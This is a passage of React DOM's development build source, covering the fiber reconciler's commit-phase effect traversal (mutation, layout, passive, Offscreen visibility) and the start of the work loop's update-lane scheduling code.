                commitHookEffectListUnmount(Layout | HasEffect, finishedWork, finishedWork.return);
              } catch (error) {
                captureCommitPhaseError(finishedWork, finishedWork.return, error);
              }

              recordLayoutEffectDuration(finishedWork);
            } else {
              try {
                commitHookEffectListUnmount(Layout | HasEffect, finishedWork, finishedWork.return);
              } catch (error) {
                captureCommitPhaseError(finishedWork, finishedWork.return, error);
              }
            }
          }

          return;
        }

      case ClassComponent:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          if (flags & Ref) {
            if (current !== null) {
              safelyDetachRef(current, current.return);
            }
          }

          return;
        }

      case HostComponent:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          if (flags & Ref) {
            if (current !== null) {
              safelyDetachRef(current, current.return);
            }
          }

          {
            // TODO: ContentReset gets cleared by the children during the commit
            // phase. This is a refactor hazard because it means we must read
            // flags the flags after `commitReconciliationEffects` has already run;
            // the order matters. We should refactor so that ContentReset does not
            // rely on mutating the flag during commit. Like by setting a flag
            // during the render phase instead.
            if (finishedWork.flags & ContentReset) {
              var instance = finishedWork.stateNode;

              try {
                resetTextContent(instance);
              } catch (error) {
                captureCommitPhaseError(finishedWork, finishedWork.return, error);
              }
            }

            if (flags & Update) {
              var _instance4 = finishedWork.stateNode;

              if (_instance4 != null) {
                // Commit the work prepared earlier.
                var newProps = finishedWork.memoizedProps; // For hydration we reuse the update path but we treat the oldProps
                // as the newProps. The updatePayload will contain the real change in
                // this case.

                var oldProps = current !== null ? current.memoizedProps : newProps;
                var type = finishedWork.type; // TODO: Type the updateQueue to be specific to host components.

                var updatePayload = finishedWork.updateQueue;
                finishedWork.updateQueue = null;

                if (updatePayload !== null) {
                  try {
                    commitUpdate(_instance4, updatePayload, type, oldProps, newProps, finishedWork);
                  } catch (error) {
                    captureCommitPhaseError(finishedWork, finishedWork.return, error);
                  }
                }
              }
            }
          }

          return;
        }

      case HostText:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          if (flags & Update) {
            {
              if (finishedWork.stateNode === null) {
                throw new Error('This should have a text node initialized. This error is likely ' + 'caused by a bug in React. Please file an issue.');
              }

              var textInstance = finishedWork.stateNode;
              var newText = finishedWork.memoizedProps; // For hydration we reuse the update path but we treat the oldProps
              // as the newProps. The updatePayload will contain the real change in
              // this case.

              var oldText = current !== null ? current.memoizedProps : newText;

              try {
                commitTextUpdate(textInstance, oldText, newText);
              } catch (error) {
                captureCommitPhaseError(finishedWork, finishedWork.return, error);
              }
            }
          }

          return;
        }

      case HostRoot:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          if (flags & Update) {
            {
              if (current !== null) {
                var prevRootState = current.memoizedState;

                if (prevRootState.isDehydrated) {
                  try {
                    commitHydratedContainer(root.containerInfo);
                  } catch (error) {
                    captureCommitPhaseError(finishedWork, finishedWork.return, error);
                  }
                }
              }
            }
          }

          return;
        }

      case HostPortal:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          return;
        }

      case SuspenseComponent:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);
          var offscreenFiber = finishedWork.child;

          if (offscreenFiber.flags & Visibility) {
            var offscreenInstance = offscreenFiber.stateNode;
            var newState = offscreenFiber.memoizedState;
            var isHidden = newState !== null; // Track the current state on the Offscreen instance so we can
            // read it during an event

            offscreenInstance.isHidden = isHidden;

            if (isHidden) {
              var wasHidden = offscreenFiber.alternate !== null && offscreenFiber.alternate.memoizedState !== null;

              if (!wasHidden) {
                // TODO: Move to passive phase
                markCommitTimeOfFallback();
              }
            }
          }

          if (flags & Update) {
            try {
              commitSuspenseCallback(finishedWork);
            } catch (error) {
              captureCommitPhaseError(finishedWork, finishedWork.return, error);
            }

            attachSuspenseRetryListeners(finishedWork);
          }

          return;
        }

      case OffscreenComponent:
        {
          var _wasHidden = current !== null && current.memoizedState !== null;

          if ( // TODO: Remove this dead flag
           finishedWork.mode & ConcurrentMode) {
            // Before committing the children, track on the stack whether this
            // offscreen subtree was already hidden, so that we don't unmount the
            // effects again.
            var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
            offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || _wasHidden;
            recursivelyTraverseMutationEffects(root, finishedWork);
            offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
          } else {
            recursivelyTraverseMutationEffects(root, finishedWork);
          }

          commitReconciliationEffects(finishedWork);

          if (flags & Visibility) {
            var _offscreenInstance = finishedWork.stateNode;
            var _newState = finishedWork.memoizedState;

            var _isHidden = _newState !== null;

            var offscreenBoundary = finishedWork; // Track the current state on the Offscreen instance so we can
            // read it during an event

            _offscreenInstance.isHidden = _isHidden;

            {
              if (_isHidden) {
                if (!_wasHidden) {
                  if ((offscreenBoundary.mode & ConcurrentMode) !== NoMode) {
                    nextEffect = offscreenBoundary;
                    var offscreenChild = offscreenBoundary.child;

                    while (offscreenChild !== null) {
                      nextEffect = offscreenChild;
                      disappearLayoutEffects_begin(offscreenChild);
                      offscreenChild = offscreenChild.sibling;
                    }
                  }
                }
              }
            }

            {
              // TODO: This needs to run whenever there's an insertion or update
              // inside a hidden Offscreen tree.
              hideOrUnhideAllChildren(offscreenBoundary, _isHidden);
            }
          }

          return;
        }

      case SuspenseListComponent:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);

          if (flags & Update) {
            attachSuspenseRetryListeners(finishedWork);
          }

          return;
        }

      case ScopeComponent:
        {

          return;
        }

      default:
        {
          recursivelyTraverseMutationEffects(root, finishedWork);
          commitReconciliationEffects(finishedWork);
          return;
        }
    }
  }

  function commitReconciliationEffects(finishedWork) {
    // Placement effects (insertions, reorders) can be scheduled on any fiber
    // type. They needs to happen after the children effects have fired, but
    // before the effects on this fiber have fired.
    var flags = finishedWork.flags;

    if (flags & Placement) {
      try {
        commitPlacement(finishedWork);
      } catch (error) {
        captureCommitPhaseError(finishedWork, finishedWork.return, error);
      } // Clear the "placement" from effect tag so that we know that this is
      // inserted, before any life-cycles like componentDidMount gets called.
      // TODO: findDOMNode doesn't rely on this any more but isMounted does
      // and isMounted is deprecated anyway so we should be able to kill this.


      finishedWork.flags &= ~Placement;
    }

    if (flags & Hydrating) {
      finishedWork.flags &= ~Hydrating;
    }
  }

  function commitLayoutEffects(finishedWork, root, committedLanes) {
    inProgressLanes = committedLanes;
    inProgressRoot = root;
    nextEffect = finishedWork;
    commitLayoutEffects_begin(finishedWork, root, committedLanes);
    inProgressLanes = null;
    inProgressRoot = null;
  }

  function commitLayoutEffects_begin(subtreeRoot, root, committedLanes) {
    // Suspense layout effects semantics don't change for legacy roots.
    var isModernRoot = (subtreeRoot.mode & ConcurrentMode) !== NoMode;

    while (nextEffect !== null) {
      var fiber = nextEffect;
      var firstChild = fiber.child;

      if ( fiber.tag === OffscreenComponent && isModernRoot) {
        // Keep track of the current Offscreen stack's state.
        var isHidden = fiber.memoizedState !== null;
        var newOffscreenSubtreeIsHidden = isHidden || offscreenSubtreeIsHidden;

        if (newOffscreenSubtreeIsHidden) {
          // The Offscreen tree is hidden. Skip over its layout effects.
          commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes);
          continue;
        } else {
          // TODO (Offscreen) Also check: subtreeFlags & LayoutMask
          var current = fiber.alternate;
          var wasHidden = current !== null && current.memoizedState !== null;
          var newOffscreenSubtreeWasHidden = wasHidden || offscreenSubtreeWasHidden;
          var prevOffscreenSubtreeIsHidden = offscreenSubtreeIsHidden;
          var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden; // Traverse the Offscreen subtree with the current Offscreen as the root.

          offscreenSubtreeIsHidden = newOffscreenSubtreeIsHidden;
          offscreenSubtreeWasHidden = newOffscreenSubtreeWasHidden;

          if (offscreenSubtreeWasHidden && !prevOffscreenSubtreeWasHidden) {
            // This is the root of a reappearing boundary. Turn its layout effects
            // back on.
            nextEffect = fiber;
            reappearLayoutEffects_begin(fiber);
          }

          var child = firstChild;

          while (child !== null) {
            nextEffect = child;
            commitLayoutEffects_begin(child, // New root; bubble back up to here and stop.
            root, committedLanes);
            child = child.sibling;
          } // Restore Offscreen state and resume in our-progress traversal.


          nextEffect = fiber;
          offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden;
          offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
          commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes);
          continue;
        }
      }

      if ((fiber.subtreeFlags & LayoutMask) !== NoFlags && firstChild !== null) {
        firstChild.return = fiber;
        nextEffect = firstChild;
      } else {
        commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes);
      }
    }
  }

  function commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes) {
    while (nextEffect !== null) {
      var fiber = nextEffect;

      if ((fiber.flags & LayoutMask) !== NoFlags) {
        var current = fiber.alternate;
        setCurrentFiber(fiber);

        try {
          commitLayoutEffectOnFiber(root, current, fiber, committedLanes);
        } catch (error) {
          captureCommitPhaseError(fiber, fiber.return, error);
        }

        resetCurrentFiber();
      }

      if (fiber === subtreeRoot) {
        nextEffect = null;
        return;
      }

      var sibling = fiber.sibling;

      if (sibling !== null) {
        sibling.return = fiber.return;
        nextEffect = sibling;
        return;
      }

      nextEffect = fiber.return;
    }
  }

  function disappearLayoutEffects_begin(subtreeRoot) {
    while (nextEffect !== null) {
      var fiber = nextEffect;
      var firstChild = fiber.child; // TODO (Offscreen) Check: flags & (RefStatic | LayoutStatic)

      switch (fiber.tag) {
        case FunctionComponent:
        case ForwardRef:
        case MemoComponent:
        case SimpleMemoComponent:
          {
            if ( fiber.mode & ProfileMode) {
              try {
                startLayoutEffectTimer();
                commitHookEffectListUnmount(Layout, fiber, fiber.return);
              } finally {
                recordLayoutEffectDuration(fiber);
              }
            } else {
              commitHookEffectListUnmount(Layout, fiber, fiber.return);
            }

            break;
          }

        case ClassComponent:
          {
            // TODO (Offscreen) Check: flags & RefStatic
            safelyDetachRef(fiber, fiber.return);
            var instance = fiber.stateNode;

            if (typeof instance.componentWillUnmount === 'function') {
              safelyCallComponentWillUnmount(fiber, fiber.return, instance);
            }

            break;
          }

        case HostComponent:
          {
            safelyDetachRef(fiber, fiber.return);
            break;
          }

        case OffscreenComponent:
          {
            // Check if this is a
            var isHidden = fiber.memoizedState !== null;

            if (isHidden) {
              // Nested Offscreen tree is already hidden. Don't disappear
              // its effects.
              disappearLayoutEffects_complete(subtreeRoot);
              continue;
            }

            break;
          }
      } // TODO (Offscreen) Check: subtreeFlags & LayoutStatic


      if (firstChild !== null) {
        firstChild.return = fiber;
        nextEffect = firstChild;
      } else {
        disappearLayoutEffects_complete(subtreeRoot);
      }
    }
  }

  function disappearLayoutEffects_complete(subtreeRoot) {
    while (nextEffect !== null) {
      var fiber = nextEffect;

      if (fiber === subtreeRoot) {
        nextEffect = null;
        return;
      }

      var sibling = fiber.sibling;

      if (sibling !== null) {
        sibling.return = fiber.return;
        nextEffect = sibling;
        return;
      }

      nextEffect = fiber.return;
    }
  }

  function reappearLayoutEffects_begin(subtreeRoot) {
    while (nextEffect !== null) {
      var fiber = nextEffect;
      var firstChild = fiber.child;

      if (fiber.tag === OffscreenComponent) {
        var isHidden = fiber.memoizedState !== null;

        if (isHidden) {
          // Nested Offscreen tree is still hidden. Don't re-appear its effects.
          reappearLayoutEffects_complete(subtreeRoot);
          continue;
        }
      } // TODO (Offscreen) Check: subtreeFlags & LayoutStatic


      if (firstChild !== null) {
        // This node may have been reused from a previous render, so we can't
        // assume its return pointer is correct.
        firstChild.return = fiber;
        nextEffect = firstChild;
      } else {
        reappearLayoutEffects_complete(subtreeRoot);
      }
    }
  }

  function reappearLayoutEffects_complete(subtreeRoot) {
    while (nextEffect !== null) {
      var fiber = nextEffect; // TODO (Offscreen) Check: flags & LayoutStatic

      setCurrentFiber(fiber);

      try {
        reappearLayoutEffectsOnFiber(fiber);
      } catch (error) {
        captureCommitPhaseError(fiber, fiber.return, error);
      }

      resetCurrentFiber();

      if (fiber === subtreeRoot) {
        nextEffect = null;
        return;
      }

      var sibling = fiber.sibling;

      if (sibling !== null) {
        // This node may have been reused from a previous render, so we can't
        // assume its return pointer is correct.
        sibling.return = fiber.return;
        nextEffect = sibling;
        return;
      }

      nextEffect = fiber.return;
    }
  }

  function commitPassiveMountEffects(root, finishedWork, committedLanes, committedTransitions) {
    nextEffect = finishedWork;
    commitPassiveMountEffects_begin(finishedWork, root, committedLanes, committedTransitions);
  }

  function commitPassiveMountEffects_begin(subtreeRoot, root, committedLanes, committedTransitions) {
    while (nextEffect !== null) {
      var fiber = nextEffect;
      var firstChild = fiber.child;

      if ((fiber.subtreeFlags & PassiveMask) !== NoFlags && firstChild !== null) {
        firstChild.return = fiber;
        nextEffect = firstChild;
      } else {
        commitPassiveMountEffects_complete(subtreeRoot, root, committedLanes, committedTransitions);
      }
    }
  }

  function commitPassiveMountEffects_complete(subtreeRoot, root, committedLanes, committedTransitions) {
    while (nextEffect !== null) {
      var fiber = nextEffect;

      if ((fiber.flags & Passive) !== NoFlags) {
        setCurrentFiber(fiber);

        try {
          commitPassiveMountOnFiber(root, fiber, committedLanes, committedTransitions);
        } catch (error) {
          captureCommitPhaseError(fiber, fiber.return, error);
        }

        resetCurrentFiber();
      }

      if (fiber === subtreeRoot) {
        nextEffect = null;
        return;
      }

      var sibling = fiber.sibling;

      if (sibling !== null) {
        sibling.return = fiber.return;
        nextEffect = sibling;
        return;
      }

      nextEffect = fiber.return;
    }
  }

  function commitPassiveMountOnFiber(finishedRoot, finishedWork, committedLanes, committedTransitions) {
    switch (finishedWork.tag) {
      case FunctionComponent:
      case ForwardRef:
      case SimpleMemoComponent:
        {
          if ( finishedWork.mode & ProfileMode) {
            startPassiveEffectTimer();

            try {
              commitHookEffectListMount(Passive$1 | HasEffect, finishedWork);
            } finally {
              recordPassiveEffectDuration(finishedWork);
            }
          } else {
            commitHookEffectListMount(Passive$1 | HasEffect, finishedWork);
          }

          break;
        }
    }
  }

  function commitPassiveUnmountEffects(firstChild) {
    nextEffect = firstChild;
    commitPassiveUnmountEffects_begin();
  }

  function commitPassiveUnmountEffects_begin() {
    while (nextEffect !== null) {
      var fiber = nextEffect;
      var child = fiber.child;

      if ((nextEffect.flags & ChildDeletion) !== NoFlags) {
        var deletions = fiber.deletions;

        if (deletions !== null) {
          for (var i = 0; i < deletions.length; i++) {
            var fiberToDelete = deletions[i];
            nextEffect = fiberToDelete;
            commitPassiveUnmountEffectsInsideOfDeletedTree_begin(fiberToDelete, fiber);
          }

          {
            // A fiber was deleted from this parent fiber, but it's still part of
            // the previous (alternate) parent fiber's list of children. Because
            // children are a linked list, an earlier sibling that's still alive
            // will be connected to the deleted fiber via its `alternate`:
            //
            //   live fiber
            //   --alternate--> previous live fiber
            //   --sibling--> deleted fiber
            //
            // We can't disconnect `alternate` on nodes that haven't been deleted
            // yet, but we can disconnect the `sibling` and `child` pointers.
            var previousFiber = fiber.alternate;

            if (previousFiber !== null) {
              var detachedChild = previousFiber.child;

              if (detachedChild !== null) {
                previousFiber.child = null;

                do {
                  var detachedSibling = detachedChild.sibling;
                  detachedChild.sibling = null;
                  detachedChild = detachedSibling;
                } while (detachedChild !== null);
              }
            }
          }

          nextEffect = fiber;
        }
      }

      if ((fiber.subtreeFlags & PassiveMask) !== NoFlags && child !== null) {
        child.return = fiber;
        nextEffect = child;
      } else {
        commitPassiveUnmountEffects_complete();
      }
    }
  }

  function commitPassiveUnmountEffects_complete() {
    while (nextEffect !== null) {
      var fiber = nextEffect;

      if ((fiber.flags & Passive) !== NoFlags) {
        setCurrentFiber(fiber);
        commitPassiveUnmountOnFiber(fiber);
        resetCurrentFiber();
      }

      var sibling = fiber.sibling;

      if (sibling !== null) {
        sibling.return = fiber.return;
        nextEffect = sibling;
        return;
      }

      nextEffect = fiber.return;
    }
  }

  function commitPassiveUnmountOnFiber(finishedWork) {
    switch (finishedWork.tag) {
      case FunctionComponent:
      case ForwardRef:
      case SimpleMemoComponent:
        {
          if ( finishedWork.mode & ProfileMode) {
            startPassiveEffectTimer();
            commitHookEffectListUnmount(Passive$1 | HasEffect, finishedWork, finishedWork.return);
            recordPassiveEffectDuration(finishedWork);
          } else {
            commitHookEffectListUnmount(Passive$1 | HasEffect, finishedWork, finishedWork.return);
          }

          break;
        }
    }
  }

  function commitPassiveUnmountEffectsInsideOfDeletedTree_begin(deletedSubtreeRoot, nearestMountedAncestor) {
    while (nextEffect !== null) {
      var fiber = nextEffect; // Deletion effects fire in parent -> child order
      // TODO: Check if fiber has a PassiveStatic flag

      setCurrentFiber(fiber);
      commitPassiveUnmountInsideDeletedTreeOnFiber(fiber, nearestMountedAncestor);
      resetCurrentFiber();
      var child = fiber.child; // TODO: Only traverse subtree if it has a PassiveStatic flag. (But, if we
      // do this, still need to handle `deletedTreeCleanUpLevel` correctly.)

      if (child !== null) {
        child.return = fiber;
        nextEffect = child;
      } else {
        commitPassiveUnmountEffectsInsideOfDeletedTree_complete(deletedSubtreeRoot);
      }
    }
  }

  function commitPassiveUnmountEffectsInsideOfDeletedTree_complete(deletedSubtreeRoot) {
    while (nextEffect !== null) {
      var fiber = nextEffect;
      var sibling = fiber.sibling;
      var returnFiber = fiber.return;

      {
        // Recursively traverse the entire deleted tree and clean up fiber fields.
        // This is more aggressive than ideal, and the long term goal is to only
        // have to detach the deleted tree at the root.
        detachFiberAfterEffects(fiber);

        if (fiber === deletedSubtreeRoot) {
          nextEffect = null;
          return;
        }
      }

      if (sibling !== null) {
        sibling.return = returnFiber;
        nextEffect = sibling;
        return;
      }

      nextEffect = returnFiber;
    }
  }

  function commitPassiveUnmountInsideDeletedTreeOnFiber(current, nearestMountedAncestor) {
    switch (current.tag) {
      case FunctionComponent:
      case ForwardRef:
      case SimpleMemoComponent:
        {
          if ( current.mode & ProfileMode) {
            startPassiveEffectTimer();
            commitHookEffectListUnmount(Passive$1, current, nearestMountedAncestor);
            recordPassiveEffectDuration(current);
          } else {
            commitHookEffectListUnmount(Passive$1, current, nearestMountedAncestor);
          }

          break;
        }
    }
  } // TODO: Reuse reappearLayoutEffects traversal here?


  function invokeLayoutEffectMountInDEV(fiber) {
    {
      // We don't need to re-check StrictEffectsMode here.
      // This function is only called if that check has already passed.
      switch (fiber.tag) {
        case FunctionComponent:
        case ForwardRef:
        case SimpleMemoComponent:
          {
            try {
              commitHookEffectListMount(Layout | HasEffect, fiber);
            } catch (error) {
              captureCommitPhaseError(fiber, fiber.return, error);
            }

            break;
          }

        case ClassComponent:
          {
            var instance = fiber.stateNode;

            try {
              instance.componentDidMount();
            } catch (error) {
              captureCommitPhaseError(fiber, fiber.return, error);
            }

            break;
          }
      }
    }
  }

  function invokePassiveEffectMountInDEV(fiber) {
    {
      // We don't need to re-check StrictEffectsMode here.
      // This function is only called if that check has already passed.
      switch (fiber.tag) {
        case FunctionComponent:
        case ForwardRef:
        case SimpleMemoComponent:
          {
            try {
              commitHookEffectListMount(Passive$1 | HasEffect, fiber);
            } catch (error) {
              captureCommitPhaseError(fiber, fiber.return, error);
            }

            break;
          }
      }
    }
  }

  function invokeLayoutEffectUnmountInDEV(fiber) {
    {
      // We don't need to re-check StrictEffectsMode here.
      // This function is only called if that check has already passed.
      switch (fiber.tag) {
        case FunctionComponent:
        case ForwardRef:
        case SimpleMemoComponent:
          {
            try {
              commitHookEffectListUnmount(Layout | HasEffect, fiber, fiber.return);
            } catch (error) {
              captureCommitPhaseError(fiber, fiber.return, error);
            }

            break;
          }

        case ClassComponent:
          {
            var instance = fiber.stateNode;

            if (typeof instance.componentWillUnmount === 'function') {
              safelyCallComponentWillUnmount(fiber, fiber.return, instance);
            }

            break;
          }
      }
    }
  }

  function invokePassiveEffectUnmountInDEV(fiber) {
    {
      // We don't need to re-check StrictEffectsMode here.
      // This function is only called if that check has already passed.
      switch (fiber.tag) {
        case FunctionComponent:
        case ForwardRef:
        case SimpleMemoComponent:
          {
            try {
              commitHookEffectListUnmount(Passive$1 | HasEffect, fiber, fiber.return);
            } catch (error) {
              captureCommitPhaseError(fiber, fiber.return, error);
            }
          }
      }
    }
  }

  var COMPONENT_TYPE = 0;
  var HAS_PSEUDO_CLASS_TYPE = 1;
  var ROLE_TYPE = 2;
  var TEST_NAME_TYPE = 3;
  var TEXT_TYPE = 4;

  if (typeof Symbol === 'function' && Symbol.for) {
    var symbolFor = Symbol.for;
    COMPONENT_TYPE = symbolFor('selector.component');
    HAS_PSEUDO_CLASS_TYPE = symbolFor('selector.has_pseudo_class');
    ROLE_TYPE = symbolFor('selector.role');
    TEST_NAME_TYPE = symbolFor('selector.test_id');
    TEXT_TYPE = symbolFor('selector.text');
  }
  var commitHooks = [];
  function onCommitRoot$1() {
    {
      commitHooks.forEach(function (commitHook) {
        return commitHook();
      });
    }
  }

  var ReactCurrentActQueue = ReactSharedInternals.ReactCurrentActQueue;
  function isLegacyActEnvironment(fiber) {
    {
      // Legacy mode. We preserve the behavior of React 17's act. It assumes an
      // act environment whenever `jest` is defined, but you can still turn off
      // spurious warnings by setting IS_REACT_ACT_ENVIRONMENT explicitly
      // to false.
      var isReactActEnvironmentGlobal = // $FlowExpectedError – Flow doesn't know about IS_REACT_ACT_ENVIRONMENT global
      typeof IS_REACT_ACT_ENVIRONMENT !== 'undefined' ? IS_REACT_ACT_ENVIRONMENT : undefined; // $FlowExpectedError - Flow doesn't know about jest

      var jestIsDefined = typeof jest !== 'undefined';
      return  jestIsDefined && isReactActEnvironmentGlobal !== false;
    }
  }
  function isConcurrentActEnvironment() {
    {
      var isReactActEnvironmentGlobal = // $FlowExpectedError – Flow doesn't know about IS_REACT_ACT_ENVIRONMENT global
      typeof IS_REACT_ACT_ENVIRONMENT !== 'undefined' ? IS_REACT_ACT_ENVIRONMENT : undefined;

      if (!isReactActEnvironmentGlobal && ReactCurrentActQueue.current !== null) {
        // TODO: Include link to relevant documentation page.
        error('The current testing environment is not configured to support ' + 'act(...)');
      }

      return isReactActEnvironmentGlobal;
    }
  }

  var ceil = Math.ceil;
  var ReactCurrentDispatcher$2 = ReactSharedInternals.ReactCurrentDispatcher,
      ReactCurrentOwner$2 = ReactSharedInternals.ReactCurrentOwner,
      ReactCurrentBatchConfig$3 = ReactSharedInternals.ReactCurrentBatchConfig,
      ReactCurrentActQueue$1 = ReactSharedInternals.ReactCurrentActQueue;
  var NoContext =
  /*             */
  0;
  var BatchedContext =
  /*               */
  1;
  var RenderContext =
  /*                */
  2;
  var CommitContext =
  /*                */
  4;
  var RootInProgress = 0;
  var RootFatalErrored = 1;
  var RootErrored = 2;
  var RootSuspended = 3;
  var RootSuspendedWithDelay = 4;
  var RootCompleted = 5;
  var RootDidNotComplete = 6; // Describes where we are in the React execution stack

  var executionContext = NoContext; // The root we're working on

  var workInProgressRoot = null; // The fiber we're working on

  var workInProgress = null; // The lanes we're rendering

  var workInProgressRootRenderLanes = NoLanes; // Stack that allows components to change the render lanes for its subtree
  // This is a superset of the lanes we started working on at the root. The only
  // case where it's different from `workInProgressRootRenderLanes` is when we
  // enter a subtree that is hidden and needs to be unhidden: Suspense and
  // Offscreen component.
  //
  // Most things in the work loop should deal with workInProgressRootRenderLanes.
  // Most things in begin/complete phases should deal with subtreeRenderLanes.

  var subtreeRenderLanes = NoLanes;
  var subtreeRenderLanesCursor = createCursor(NoLanes); // Whether to root completed, errored, suspended, etc.

  var workInProgressRootExitStatus = RootInProgress; // A fatal error, if one is thrown

  var workInProgressRootFatalError = null; // "Included" lanes refer to lanes that were worked on during this render. It's
  // slightly different than `renderLanes` because `renderLanes` can change as you
  // enter and exit an Offscreen tree. This value is the combination of all render
  // lanes for the entire render phase.

  var workInProgressRootIncludedLanes = NoLanes; // The work left over by components that were visited during this render. Only
  // includes unprocessed updates, not work in bailed out children.

  var workInProgressRootSkippedLanes = NoLanes; // Lanes that were updated (in an interleaved event) during this render.

  var workInProgressRootInterleavedUpdatedLanes = NoLanes; // Lanes that were updated during the render phase (*not* an interleaved event).

  var workInProgressRootPingedLanes = NoLanes; // Errors that are thrown during the render phase.

  var workInProgressRootConcurrentErrors = null; // These are errors that we recovered from without surfacing them to the UI.
  // We will log them once the tree commits.

  var workInProgressRootRecoverableErrors = null; // The most recent time we committed a fallback. This lets us ensure a train
  // model where we don't commit new loading states in too quick succession.

  var globalMostRecentFallbackTime = 0;
  var FALLBACK_THROTTLE_MS = 500; // The absolute time for when we should start giving up on rendering
  // more and prefer CPU suspense heuristics instead.

  var workInProgressRootRenderTargetTime = Infinity; // How long a render is supposed to take before we start following CPU
  // suspense heuristics and opt out of rendering more content.

  var RENDER_TIMEOUT_MS = 500;
  var workInProgressTransitions = null;

  function resetRenderTimer() {
    workInProgressRootRenderTargetTime = now() + RENDER_TIMEOUT_MS;
  }

  function getRenderTargetTime() {
    return workInProgressRootRenderTargetTime;
  }
  var hasUncaughtError = false;
  var firstUncaughtError = null;
  var legacyErrorBoundariesThatAlreadyFailed = null; // Only used when enableProfilerNestedUpdateScheduledHook is true;
  var rootDoesHavePassiveEffects = false;
  var rootWithPendingPassiveEffects = null;
  var pendingPassiveEffectsLanes = NoLanes;
  var pendingPassiveProfilerEffects = [];
  var pendingPassiveTransitions = null; // Use these to prevent an infinite loop of nested updates

  var NESTED_UPDATE_LIMIT = 50;
  var nestedUpdateCount = 0;
  var rootWithNestedUpdates = null;
  var isFlushingPassiveEffects = false;
  var didScheduleUpdateDuringPassiveEffects = false;
  var NESTED_PASSIVE_UPDATE_LIMIT = 50;
  var nestedPassiveUpdateCount = 0;
  var rootWithPassiveNestedUpdates = null; // If two updates are scheduled within the same event, we should treat their
  // event times as simultaneous, even if the actual clock time has advanced
  // between the first and second call.

  var currentEventTime = NoTimestamp;
  var currentEventTransitionLane = NoLanes;
  var isRunningInsertionEffect = false;
  function getWorkInProgressRoot() {
    return workInProgressRoot;
  }
  function requestEventTime() {
    if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
      // We're inside React, so it's fine to read the actual time.
      return now();
    } // We're not inside React, so we may be in the middle of a browser event.


    if (currentEventTime !== NoTimestamp) {
      // Use the same start time for all updates until we enter React again.
      return currentEventTime;
    } // This is the first update since React yielded. Compute a new start time.


    currentEventTime = now();
    return currentEventTime;
  }
  function requestUpdateLane(fiber) {
    // Special cases
    var mode = fiber.mode;

    if ((mode & ConcurrentMode) === NoMode) {
      return SyncLane;
    } else if ( (executionContext & RenderContext) !== NoContext && workInProgressRootRenderLanes !== NoLanes) {
      // This is a render phase update. These are not officially supported. The
      // old behavior is to give this the same "thread" (lanes) as
      // whatever is currently rendering. So if you call `setState` on a component
      // that happens later in the same render, it will flush. Ideally, we want to
      // remove the special case and treat them as if they came from an
      // interleaved event. Regardless, this pattern is not officially supported.
      // This behavior is only a fallback. The flag only exists until we can roll
      // out the setState warning, since existing code might accidentally rely on
      // the current behavior.
      return pickArbitraryLane(workInProgressRootRenderLanes);
    }

    var isTransition = requestCurrentTransition() !== NoTransition;

    if (isTransition) {
      if ( ReactCurrentBatchConfig$3.transition !== null) {
        var transition = ReactCurrentBatchConfig$3.transition;

        if (!transition._updatedFibers) {
          transition._updatedFibers = new Set();
        }

        transition._updatedFibers.add(fiber);
      } // The algorithm for assigning an update to a lane should be stable for all
      // updates at the same priority within the same event. To do this, the
      // inputs to the algorithm must be the same.
      //
      // The trick we use is to cache the first of each of these inputs within an
      // event. Then reset the cached values once we can be sure the event is
      // over. Our heuristic for that is whenever we enter a concurrent work loop.


      if (currentEventTransitionLane === NoLane) {
        // All transitions within the same event are assigned the same lane.
        currentEventTransitionLane = claimNextTransitionLane();
      }

      return currentEventTransitionLane;
    } // Updates originating inside certain React methods, like flushSync, have
    // their priority set by tracking it with a context variable.
    //
    // The opaque type returned by the host config is internally a lane, so we can
    // use that directly.
    // TODO: Move this type conversion to the event priority module.


    var updateLane = getCurrentUpdatePriority();

    if (updateLane !== NoLane) {
      return updateLane;
    } // This update originated outside React. Ask the host environment for an
    // appropriate priority, based on the type of event.
    //
    // The opaque type returned by the host config is internally a lane, so we can
    // use that directly.
    // TODO: Move this type conversion to the event priority module.


    var eventLane = getCurrentEventPriority();
    return eventLane;
  }

  function requestRetryLane(fiber) {
    // This is a fork of `requestUpdateLane` designed specifically for Suspense
    // "retries" — a special update that attempts to flip a Suspense boundary
    // from its placeholder state to its primary/resolved state.
    // Special cases
    var mode = fiber.mode;

    if ((mode & ConcurrentMode) === NoMode) {
      return SyncLane;
    }

    return claimNextRetryLane();
  }

  function scheduleUpdateOnFiber(root, fiber, lane, eventTime) {
    checkForNestedUpdates();

    {
      if (isRunningInsertionEffect) {
        error('useInsertionEffect must not schedule updates.');
      }
    }

    {
      if (isFlushingPassiveEffects) {
        didScheduleUpdateDuringPassiveEffects = true;
      }
    } // Mark that the root has a pending update.


    markRootUpdated(root, lane, eventTime);

    if ((executionContext & RenderContext) !== NoLanes && root === workInProgressRoot) {
      // This update was dispatched during the render phase. This is a mistake
      // if the update originates from user space (with the exception of local
      // hook updates, which are handled differently and don't reach this
      // function), but there are some internal React features that use this as
      // an implementation detail, like selective hydration.
      warnAboutRenderPhaseUpdatesInDEV(fiber); // Track lanes that were updated during the render phase
    } else {
      // This is a normal update, scheduled from outside the render phase. For
      // example, during an input event.
      {
        if (isDevToolsPresent) {
          addFiberToLanesMap(root, fiber, lane);
        }
      }

      warnIfUpdatesNotWrappedWithActDEV(fiber);

      if (root === workInProgressRoot) {
        // Received an update to a tree that's in the middle of rendering. Mark
        // that there was an interleaved update work on this root. Unless the
